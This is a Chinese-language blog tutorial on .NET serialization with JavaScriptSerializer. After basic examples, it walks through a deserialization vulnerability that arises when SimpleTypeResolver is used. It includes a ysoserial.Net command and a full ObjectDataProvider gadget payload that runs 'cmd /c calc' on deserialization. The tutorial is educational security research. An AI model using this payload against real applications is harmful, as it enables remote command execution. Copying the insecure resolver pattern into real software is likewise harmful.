.NET下的序列化与反序列化(JavaScriptSerializer)

2020-09-15 / 无评论

前言:

之前发表过一篇有关于.Net平台下的序列化与反序列漏洞。不过整文是通过Json.Net实现的。

其实在.Net平台中,有不少库能够实现序列化与反序列化,其中少数因编写不正确,可导致反序列化漏洞,造成命令执行。

本次将使用 JavaScriptSerializer 进行序列化与反序列化。

参考文章:
[https://www.websecuritys.cn/archives/netxlh-1.html
](https://www.websecuritys.cn/archives/netxlh-1.html )

https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/4javascriptserializer-fan-xu-lie-hua-lou-dong

序列化与反序列化的原理
序列化:

序列化是将对象状态转换为可保持或传输的形式的过程.

反序列化:

序列化的补集是反序列化,后者将流转换为对象。 这两个过程一起保证能够存储和传输数据。

实现一个序列化:

这里先定义一个类 Test_Demo,类中定义三个公开变量,name ,sex,age

public class Test_Demo
{
    public String name;
    public String sex;
    public int age;
}

在Main方法中,将其例化并对其中变量进行初始化

static void Main(string[] args)
        {
            Test_Demo test = new Test_Demo();
            test.name = "远海";
            test.sex = "男";
            test.age = 19;
            
            Console.ReadKey();
        }

使用JavaScriptSerializer对其对象进行序列化。

创建JavaScriptSerializer对象

JavaScriptSerializer js =new JavaScriptSerializer();

使用js对象中的Serialize进行序列化操作

var json = js.Serialize(test);

完整代码:

using Newtonsoft.Json;
using SynjonesPay.Common;
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Runtime.Caching;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using System.Web.Script.Serialization;

namespace ConsoleApp9
{
    class Program
    {
    
        static void Main(string[] args)
        {
            Test_Demo test = new Test_Demo();
            test.name = "远海";
            test.sex = "男";
            test.age = 19;
            JavaScriptSerializer js = new JavaScriptSerializer();
            var json = js.Serialize(test);
            Console.WriteLine(json);
            Console.ReadKey();
        }
        
    }
    public class Test_Demo
    {
        public String name;
        public String sex;
        public int age;
    }

}

运行结果:
image.png

实现一个反序列化:

反序化即是将字符集转换成对象

先声明一串String类型的字符集

static void Main(string[] args)
        {
            String js = "{\"name\":\"yuanhai\",\"sex\":\"男\"}";
            Console.WriteLine(js);
            Console.ReadKey();
        }

image.png

创建JavaScriptSerializer对象

JavaScriptSerializer js =new JavaScriptSerializer();

使用DeserializeObject将其转换为Object对象

Object result = jss.DeserializeObject(js);

完整代码如下

using Newtonsoft.Json;
using SynjonesPay.Common;
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Runtime.Caching;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using System.Web.Script.Serialization;

namespace ConsoleApp9
{
    class Program
    {
    
        static void Main(string[] args)
        {
            String js = "{\"name\":\"yuanhai\",\"sex\":\"男\"}";
            JavaScriptSerializer jss = new JavaScriptSerializer();
            Object result = jss.DeserializeObject(js);
            Console.WriteLine(result);
            Console.ReadKey();
        }
        
    }
}

运行结果:
image.png

反序列化漏洞的利用:

造成反序列化漏洞的主要原因,是开发人员书写时调用了不安全的方法。

如JavaScriptSerializer,如果开发人员在进行反序化过程中,实例化了SimpleTypeResolver类。就会导致反序列化漏洞

如:

JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());

漏洞复现:

使用ysoserial.Net 生成Payload:

./ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -o raw -c "calc" -t

image.png

-f JavaScriptSerializer  类型   -g ObjectDataProvider 攻击向量 -o 输出格式 -c 命令 -t 是否测试

使用DeserializeObject,对其Payload进行反序列化操作

完整代码:

namespace ConsoleApp9
{
    class Program
    {
    
        static void Main(string[] args)
        {
            String Payload = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd', 'Arguments':'/c calc'
        }
    }
}";
            JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
            Object result = jss.DeserializeObject(Payload);
            Console.WriteLine(result);
            Console.ReadKey();
        }
        
    }
}

运行结果
image.png

成功的执行命令。

总结:

相比.Net来说,实现反序列化漏洞都需要特定的条件。在实际场景中较为少见。

目前文章所发布的类型与条件:

Json.Net === TypeNameHandling需被重写 不为None

JavaScriptSerializer === 需实例化SimpleTypeResolver类

无回应:“.NET下的序列化与反序列化(JavaScriptSerializer)”

发表评论

电子邮件地址不会被公开。 必填项已用*标注